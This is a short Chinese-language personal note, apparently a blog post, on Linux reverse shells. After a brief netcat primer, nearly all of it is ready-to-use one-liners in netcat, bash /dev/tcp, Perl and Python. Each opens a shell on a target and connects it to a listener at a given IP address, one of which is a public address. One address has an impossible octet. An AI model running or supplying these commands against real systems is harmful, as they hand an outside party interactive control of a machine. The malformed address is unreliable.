Linux下反彈shell筆記
0x00 NC命令詳解
在介紹如何反彈shell之前,先了解相關知識要點。
nc全稱為netcat,所做的就是在兩台電腦之間建立鏈接,並返回兩個數據流
- 可運行在TCP或者UDP模式,添加參數 —u 則調整為udP,默認為tcp
- -v 參數,詳細輸出
- n參數高數netcat不要DNS反向查詢IP的域名
- z參數,連接成功后立即關閉連接
$ nc -v 172.31.100.7 21
netcat 命令會連接開放端口21並且打印運行在這個端口上服務的banner信息。
使用nc聊天
$nc -l 1567
netcat 命令在1567端口啟動了一個tcp 服務器,所有的標准輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。
$nc 172.31.100.7 1567
不管你在機器B上鍵入什么都會出現在機器A上。
實測好像並不可以...
nc進行文件傳輸
Server:
$nc -l 1567 < file.txt
Client:
$nc -n 172.31.100.7 1567 > file.txt
好像也不行...
不管這些還是直接來反彈shell吧
0x01 NC反彈shell
正向反彈shell
服務器端
nc -lvvp 7777 -e /bin/bash
本地
nc 192.168.242.129 7777
即可獲得服務器端的shell
反向反彈shell
服務端
nc -e /bin/bash 192.168.242.1 7777
本地
nc -lvvp 7777
不使用-e參數反彈
使用管道
服務端
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.242.1 7777 1>/tmp/backpipe
攻擊端
nc -lnvp 7777
mknod需要root用戶,但是也可以通過mkfifo /tmp/backpipe也可以創建一個管道。
0x02 Bash反彈
服務端:
bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'
或者
bash -i >& /dev/tcp/192.168.242.1/7777 0>&1
攻擊端:
nc -lvvp 7777
0x03 Perl反彈shell
服務端:
perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
或者
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
0x04 Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x05 最后
個人覺得這幾種應該就夠用了,至於其他環境,再看具體情況吧,有一些環境服務器不一定有的